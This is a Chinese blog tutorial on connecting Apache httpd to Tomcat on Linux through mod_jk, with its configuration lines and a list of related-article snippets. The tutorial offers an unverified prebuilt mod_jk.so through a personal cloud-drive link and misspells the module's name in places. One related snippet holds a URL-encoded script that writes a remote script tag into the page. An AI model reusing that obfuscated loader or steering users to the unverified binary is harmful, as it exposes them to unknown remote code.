Linux环境下整合Apache和Tomcat

Linux下部署Javaweb项目-------整合ApacheTomcat 一、远程拷贝项目至服务器       Linux服务器上部署Javaweb项目环境搭建接博主上篇博客: https://blog.csdn.net/wilson_m/article/details/80341 阅读详情
1、前言:

在开发项目的时候,因为目前接触的大多都是一些小项目,都是通过php就完成了后端的开发。但是这次因为需求,采用了java编写后端,因此就设计到了Apache和Tomcat的整合。尽管在整合的过程中遇到了很多问题,也花了一些时间,但是收获也是不少的,这里来总结一下

2、Tomcat和Apache的区别和联系:

关于他们的区别和联系,网上的资料很多,这里就简单的用自己的话概述一下。Apache和Tomcat最重要的区别就是前者负责静态资源的加载,而后者负责动态资源的加载。当客户端向服务器发送一个请求的时候,Apache服务器判断是请求的是静态资源还是动态资源,如果是静态资源,自己就负责加载,如果是动态资源,就交给Tomcat加载。在了解这个的时候,看到一个博主举的一个例子很好,Apache是一个大卡车,那么Tomcat就是一个水桶。卡车上可以装各种各样的东西,但是如果需要装水,则需要放在水桶,再放上车。

3、Tomcat和Apache整合方式:

关于他们的安装这里就不说了,如果是centos,使用免费的yum工具安装是很简单的。这里说一下他们的整合。关于他们的整合方式一共有三种

1. mod_jk

mod_jk 是通过 AJP 协议与 Tomcat 服务器进行通讯的,Tomcat 默认的 AJP Connector 的端口是 8009。JK 本身提供了一个监控以及管理的页面jkstatus,通过 jkstatus 可以监控 JK 目前的工作状态以及对到 tomcat 的连接进行设置;

2. http_proxy

这是利用 Apache 自带的 mod_proxy 模块使用代理技术来连接Tomcat。在配置之前请确保是否使用的是 2.2.x 版本的 Apache 服务器。因为 2.2.x版本对这个模块进行了重写,大大的增强了其功能和稳定性。

3. ajp_proxy

ajp_proxy 连接方式其实跟 http_proxy 方式一样,也是由 mod_proxy 所提供的功能,但是通过 AJP 协议与 Tomcat 服务器进行通讯的,这一点又与mod_jk相同。

从稳定性和可靠性的综合考虑,现在大多数采用的是第一种方式。下面也将采用第一种方式来整合。

使用mod_dk对Tomcat和Apache整合

下载mod_dj.so并放在modules文件夹下,关于mod_dj.so,自己花了很长时间才搞定。最开始通过积分下载的32位的,在启动服务器的时候报错。后来就下载源码进行编译,在编译过程又遇到aclocal丢失现象。为了给读者节约时间,这里就把资源免费提供给大家

链接: https://pan.baidu.com/s/10yeVvm-CoOeAkvbBfOIxxA 密码: g63a

有了关键的文件以后,就是配置了,配置方式也很简单,将下面的代码添加在httpd.conf就可以了

# 引入mod_jk.so文件
LoadModule jk_module modules/mod_jk.so  

#这里是workers.properties的位置,和httpd.conf的位置相同
 JkWorkersFile /etc/httpd/conf/workers.properties  

#日志文件存放位置
JkLogFile /etc/httpd/logs/mod_jk.log  

JkMount /*WEB-INF worker1
JkMount /*j_spring_security_check worker1
JkMount /*.action worker1
JkMount /servlet/* worker1
JkMount /*.jsp worker1
JkMount /*.do worker1
JkMount /*.action worker1
JkMount /*fckeditor/editor/filemanager/connectors/*.* worker1
JkMount /fckeditor/editor/filemanager/connectors/* worker1

在httpd.conf的相同目录下新建一个workers.properties文件,代码如下

# 命名
worker.list=worker1  

# 设置属性
worker.worker1.type=ajp13    
worker.worker1.host=localhost    
worker.worker1.port=8009  
worker.worker1.lbfactor=50    
worker.worker1.cachesize=10    
worker.worker1.cache_timeout=600    
worker.worker1.socket_keepalive=1    
worker.worker1.socket_timeout=300  

最后记得重启服务器

我们重启服务器以后,在Tomcat目录下放的静态文件,Apache是不会加载的。在Apache下面放的jsp文件,Tomcat也是不会加载的。所以在放我们的代码文件的时候,需要分开放

(完)

PackML工业标准解析:统一机器状态管理与数据交换的实践指南 在工业自动化与智能制造领域,实现设备间的互联互通与高效协同是核心挑战。这背后依赖于一套标准化的机器行为与数据交换规范,其原理在于通过定义统一的状态模型与接口协议,消除不同厂商设备间的“语言”隔阂。这项技术的核心价值在于大幅降低系统集成复杂度、提升运维效率与生产透明度,是构建数字化工厂的基石。其典型应用场景包括包装机械、离散制造产线等需要多设备协同的领域。本文聚焦的PackML(包装机械语言)标准,正是这一理念的杰出实践,它通过一套严谨的**状态机模型****数据标签(PackTags)** 体系,为机器提 阅读详情

相关推荐

Linux环境整合Apache2Tomcat的服务器方案

Linux环境下,将Apache2Tomcat整合起来可以实现更强大的Web应用程序部署管理。通过整合,可以使用Apache2作为前端服务器来处理静态内容代理请求,而Tomcat则用于处理动态内容Java Servlet/JSP请求。本文将为您介绍如何在Linux上搭建Apache2Tomcat整合的服务器,并提供相应的源代码示例。通过整合Apache2Tomcat,您可以更好地管理扩展您的Web应用程序。打开Tomcat的配置文件。模块,以便Apache2可以代理Tomcat的请求。

TechABC的博客 154

linuxapachetomcat整合,Linux整合ApacheTomcat

Tomcat是一个JSP容器,Apache是一个Web Server,一般将TomcatApache绑定在一块儿,由Tomcat处理用户的动态内容请求,由Apache处理用户的静态内容请求。html安装环境配置:java操做系统:32位redhat5.6(基础的开发包都得安装哦!)node软件:linux1.jdk1.6(jdk-6u45-linux-i586.bin)web2.Tomcat6(...

weixin_42298270的博客 287

UE4动作游戏实例RPG Action解析二:GAS系统播放武器绑定的技能,以及GE效果

官方实例激活技能通过装备系统数据激活,我先用武器数据资产直接激活官方实例蒙太奇播放是自定义的AbilityTask,我先用更简单的方法实现效果1.1.1 插件启用AbilitySystem1.1.2 PlayerCharacter绑定技能组件AbilitySystemComponent 1.1.3 技能初始化,AbilitySystemComponent->GiveAbility 把上节获取到的默认武器绑定的技能GameAbility 添加到ASC组件 1.2、创建一个GameplayAbili

yuchenwuhen的专栏 1262

LinuxApache+Tomcat整合

前言,为什么要把apache+tomcat整合呢?因为tomcat负载不怎么样,所以想让apache帮忙处理静态页面,图片等,它自己处理逻辑。 那么首先就来说下ApacheTomcat的区别: Apache只是一个Web服务器,可以作为独立的web服务器来运行,不过只支持静态网页,如(asp,php,cgi,jsp)等动态网页的就显得无能为力。 Tomcat也可以作为独立的web服务器来运

www.coderr.org 1172

LinuxApacheTomcat整合

最近在服务器上进行了ApacheTomcat整合,让用户对jsp等页面发起的访问可以转交给Tomcat处理,使得Apache服务器支持jsp页面的访问。 首先需要的是配置好JAVA以及Apache还有Tomcat。相关配置方法网络上有很多,在这里不一一赘述。配置完成后可以通过指令java -version以及javac来检测java的配置是否成功 。ApacheTomcat的验证可以直接

Edward yam的博客 8659

Linux下进行Apache+tomcat整合

今天为大家介绍如何在Linux下进行Apache+tomcat整合,虚拟机版本是Redhat5,ip地址为192.168.1.12,实验步骤如下: 一 安装Jdk 二 安装Apache 三 安装tomcat 四 安装tomcat-connectors-jk模块 下面开始安装,下载我就不说了,上篇博文已经介绍了,今天我们就直接开始安装,jdk版本是“dk-6u12...

weixin_34010949的博客 156

Linuxapachetomcat整合 jackey

1.所需软件apache安装程序:httpd-2.0.63.tar.gztomcat5安装程序:apache-tomcat-5.5.23.tar.gzjdk安装程序:jdk 6.bin(上传安装文件到/usr/local/下)   2.安装jdk1).安装jdk# cd /usr/local/# chmod +x jdk6.bin# ./jdk6.bin出现问题输入:y确定2).jdk默...

qsfwy的专栏 164

ApacheTomcat整合

手上的需求是要通过80端口进来apache,然后分发到不同的服务器程序,本身有php的程序在apache上跑着,而是用的橙云主机又不提供其他web接口,所以需要整合apachetomcat AJP基本介绍: AJP是Apache提供的完成与其它服务器通讯的一种协议。 使用这种协议,具有更高的性能,因为它采用的是二进制传输。比HTTP的文本

心中永远的正能量 1万+

apachetomcat整合(linux)

前面一篇文件介绍的是windows下面的整合,其实linux整合windows的没有大的区别,这里都采用自己编译的方式进行安装。如果在编译过程中提示缺少apr-xxx、apr-util-xxx之类的东西,那就先去谷歌搜索,下载并编译安装他们咯。下图中的压缩包是你需要准备的(当然如果已经安装了就不必了) 1.下载安装jdk并配置环境变量,配好后重启一下。 2.下载并安装tomcat

baiyangliu 1815

linuxapachetomcat如何使用

ApacheTomcat比较联系 apache支持静态页,tomcat支持动态的,比如servlet等。 一般使用apache+tomcat的话,apache只是作为一个转发,对jsp的处理是由tomcat来处理的。 apache可以支持PHP\cgi\perl,但是要使用Java的话,你需要tomcatapache后台支撑,将java请求由apache转发给tomcat处理。 apache是web服务器,Tomcat是应用(java)服务器,它只是一个servlet(jsp也翻译成serv

yuexuepeng的博客 962

实现Linux平台ApacheTomcat整合

我们知道Apache是web服务器,用来解析静态网页(html)的,如果要在Apache 服务器下运行Jsp动态页面的话就需要一个解释器来执行Jsp网页,这个解释器就是TomcatApache 侧重于Http Server,特点是简单、速度快、性能稳定,并可做代理服务器来使用。Tomcat 侧重于servlet引擎,如果以standalone方式运行,功能上与Apache是等效的,不过对静态网页的支持不太理想。 ApacheTomcat整合的好处: 1. 如果客户端请求的是静

I Love IT 681

linux.x86-64下tomcatapache整合

1.jdk的安装步骤 [root@rac1 package]# ./jdk-6u32-linux-x64.bin 编辑:vim /etc/profile export JAVA_HOME=/usr/local/jdk6  export PATH=$PATH:$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib.dt.jar:$J

YH588的专栏 465

ApacheTomcat整合过程(转载)

ApacheTomcat比较联系 apache支持静态页,tomcat支持动态的,比如servlet等。 一般使用apache+tomcat的话,apache只是作为一个转发,对jsp的处理是由tomcat来处理的。 apache可以支持php\cgi\perl,但是要使用java的话,你需要tomcatapache后台支撑,将java请求由apache转发给tomcat处...

aihuixx024116的博客 154

linuxtomcatapache web服务器的整合

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

433

linuxapachetomcat整合,LinuxApacheTomcat整合的简单方法

1、准备,下载需要的文件。这里假定你已经正确安装配置好了JDK。到Apache官方网站下载所需要的文件:httpd-2.2.0.tar.gzapache-tomcat-5.5.12.tar.gzjakarta-tomcat-connectors-1.2.15-src.tar.gz其中httpdjakarta-tomcat-connectors为源码包,apache-tomcat为二进制包。2、安...

weixin_39743423的博客 138

linux服务器基础环境配置2】-TomcatApache

Tomcat会处理这些动态请求,生成动态HTML页面,并将其返回给Apache,最后由Apache将其返回给用户。,它是目前全球使用最广泛的Web服务器软件之一。总的来说,ApacheTomcat都是非常优秀的Web服务器软件,具有各自的特点优势,可以根据实际需求选择使用。总的来说,Tomcat是一种强大、灵活、易于使用的Java Web应用服务器,是Java Web开发运维人员必备的工具之一。Tomcat的全称是Apache Tomcat,它最初由Apache软件基金会开发,后来成为了独立的项目。

nandoua的博客 1467

Linux安装Tomcat详细教程

注:TomcatJava使用版本最好保持一致,如果用的JDK1.8,那么最好就用tomcat8.x版本。Tomcat默认端口是8080,改端口可以去Tomcat里的conf目录中的server.xml中修改。Tomcat依赖于Java环境,所以在运行Tomcat之前,我们需要提前配置好Java环境变量。或者通过其他软件上传到服务器下载目录/usr/local/src。下载完后执行rz命令 选择下载的文件后通过。1,首先进入到 Tomcat的bin目录中。三、创建Tomcat安装目录。

renguannan的博客 2807

linux环境tomcat安装

【代码】linux环境tomcat安装。

qq_46319647的博客 3227

linux环境apache tomcat安装部署

linux 安装Tomcat

zhoer_yang的博客 463

中国城市坐标.json

中国城市坐标.json

上一篇: hibernate分页使用setMaxResults(int a)的时候报错
下一篇: 开灯问题
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值